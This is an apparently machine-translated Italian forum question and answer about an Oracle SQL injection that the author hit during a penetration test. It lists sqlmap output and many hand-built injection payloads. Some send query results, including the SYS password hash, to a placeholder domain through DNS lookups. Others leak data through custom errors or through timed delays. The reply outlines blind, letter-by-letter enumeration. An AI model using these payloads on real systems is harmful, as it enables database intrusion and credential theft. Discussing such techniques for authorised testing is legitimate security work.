Iniezione PL / SQL e dati exfil

3

Durante un test di penna sono incappato nel seguente errore mentre stavo sfogliando alcuni parametri:

* Stato HTTP 500 - org.springframework.jdbc.BadSqlGrammarException: PreparedStatementCallback; cattiva grammatica SQL [seleziona * da% 27 dove 1 = 0]; l'eccezione annidata è java.sql.SQLSyntaxErrorException: ORA-00911: carattere non valido *

Ho immediatamente iniziato a eseguire sqlmap su di esso per vedere se esistevano payload noti per sfruttare questa potenziale vulnerabilità - sfortunatamente senza fortuna, sqlmap tornava pulita. Ecco i risultati:

[03:48:15] [WARNING] POST parameter 'dataTable' is not injectable
[03:48:15] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. As heuristic test turned out positive you are strongly advised to continue on with the tests. Please, consider usage of tampering scripts as your target might filter the queries. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment')
[03:48:15] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 104 times

A questo punto ho deciso di andare da solo perché ero abbastanza sicuro di poter ottenere qualcosa. Da quanto ho potuto vedere la query in questione sembra qualcosa di simile a questo SELECT * FROM {payload here} WHERE 1=0 , quindi sono in grado di inserire dove dovrebbe essere il nome della tabella. Ho provato DUAL, (SELECT * FROM DUAL) -- che risulterebbe in SELECT * FROM DUAL, (SELECT * FROM DUAL) -- WHERE 1=0 che ha provocato un

< HTTP/1.1 200 OK < Date: Wed, 30 Sep 2015 10:26:37 GMT

che è stato abbastanza incoraggiante, dal momento che sembrava di essere in grado di eseguire dichiarazioni arbitrarie purché fossero corrette nel contesto di un'istruzione SELECT. Sfortunatamente con il 200OK è arrivata una pagina vuota, il che significa che non sono riuscito a estrarre facilmente i dati che ho interrogato poiché i risultati della query non sono stati restituiti. Pensavo che l'ex-filtraggio DNS potesse essere una buona idea, ma sfortunatamente l'esecuzione del payload DUAL, (SELECT SYS.DBMS_LDAP.INIT((SELECT * FROM DUAL WHERE rownum = 1)||'.domain.com',80) FROM DUAL) -- ha portato a java.sql.SQLException: ORA-24247: network access denied by access control list (ACL) che significa che DNS non avrebbe funzionato.

L'unica altra opzione per l'exfil di dati che potrei pensare sarebbe attraverso la trasmissione di errori personalizzati, poiché gli errori SQL (traccia dello stack completo) sembrano essere restituiti con 500 risposte. Essendo un esperto di PL / SQL, ho iniziato la ricerca e ho scoperto che potevo usare sql dinamico e dopo molte iterazioni e debug ho trovato il seguente payload DUAL, (SELECT SYS.DBMS_SQL.EXECUTE('RAISE_APPLICATION_ERROR(-20010, ''BINGO.'')') FROM DUAL) -- che risulterebbe in una query finale simile a questo select * from DUAL, (SELECT SYS.DBMS_SQL.EXECUTE('RAISE_APPLICATION_ERROR(-20010, ''BINGO.'')') FROM DUAL) -- where 1 = 0 . Sfortunatamente questo ha anche causato un errore org.springframework.dao.DataIntegrityViolationException: PreparedStatementCallback; SQL [select * from DUAL, (SELECT SYS.DBMS_SQL.EXECUTE('RAISE_APPLICATION_ERROR(-20010, ''BINGO.'')') FROM DUAL) -- where 1 = 0 ]; ORA-01722: invalid number

Ora sto esaurendo le idee, ma sto ancora ricercando alcune altre funzioni PL / SQL che potrebbero essere utili poiché sono fiducioso che esiste una soluzione e mi diverto a questa sfida.

Sì, accetto che questo forum non risponda alle domande sulla violazione della sicurezza di un particolare sistema e lo rispetto, quindi esprimerò la mia domanda in modo diverso: dati i vincoli della dichiarazione preparata e la posizione del carico utile in la dichiarazione SELECT, è l'approccio che sto prendendo anche valido e c'è la possibilità di filtrare ex-filtrando i dati attraverso errori personalizzati simili al mio ultimo payload di esempio? Qualche altro suggerimento?

Spero di imparare qualcosa durante il processo.

PS. Qui ci sono solo alcuni degli altri payload che ho tentato senza fortuna:

SESSION_PRIVS, (SELECT SYS.DBMS_LDAP.INIT((SELECT PASSWORD FROM SYS.USER$ WHERE NAME = 'SYS')||'.domain.com',80) FROM DUAL) --
SESSION_PRIVS, (SELECT * from all_tables) --
SESSION_PRIVS, (SELECT SYS.DBMS_LDAP.INIT((SELECT * FROM SESSION_PRIVS where rownum = 1)||'.domain.com',80) FROM DUAL) --
SESSION_PRIVS, (SELECT SYS.DBMS_LDAP.INIT((SELECT * FROM SESSION_PRIVS where rownum = 1)||RAISE_APPLICATION_ERROR(-20000, 'Bingo.') FROM DUAL))--
SESSION_PRIVS, (SELECT SYS.DBMS_SQL.EXECUTE(RAISE_APPLICATION_ERROR(-20010, 'Bingo.'))) --
SESSION_PRIVS, (SELECT SYS.DBMS_SQL.EXECUTE(RAISE_APPLICATION_ERROR(-20000,'Bingo.'))FROM DUAL) --
(SELECT SYS.DBMS_SQL.EXECUTE('RAISE_APPLICATION_ERROR(-20010, ''Bingo.'')') FROM DUAL) --
(SELECT SYS.DBMS_SQL.EXECUTE('RAISE_APPLICATION_ERROR(-20000, ''202'')') FROM DUAL) --
TO_NUMBER((SELECT SYS.DBMS_SQL.EXECUTE('SELECT 10 FROM DUAL') FROM DUAL)) --
DUAL, (SELECT SYS.DBMS_SQL.EXECUTE('RAISE_APPLICATION_ERROR(-20010, ''BINGO.'')') FROM DUAL) --
DUAL, (SELECT * FROM DUAL) --
DUAL, ( SELECT SYS.DBMS_SQL.EXECUTE(EXECUTE IMMEDIATE 'DBMS_LOCK.SLEEP(30)') FROM DUAL ) --
DUAL, ( SELECT SYS.DBMS_SQL.EXECUTE('DBMS_LOCK.SLEEP(30)') FROM DUAL ) --
DUAL, ( SELECT SYS.DBMS_SQL.EXECUTE(DBMS_SQL.PARSE('DBMS_LOCK.SLEEP(30)')) FROM DUAL ) --
DUAL || 'thing' --
    
posta ilikebeets 30.09.2015 - 13:08
fonte

1 risposta

2

I risultati restituiti (codice 500 e codice 200) potrebbero essere il punto di partenza di un pentest di Blind SQL injection. Se conosci il motore del database, puoi indovinare le tabelle di sistema e testare la loro presenza. Se DUAL, (SELECT * FROM system_table) - return 200 (syste_table è un esempio) allora questa tabella esiste ecc ... Quindi puoi dedurre i nomi dei rispettivi campi testando i possibili valori o lettera per lettera.

    
risposta data 30.09.2015 - 14:03
fonte

Leggi altre domande sui tag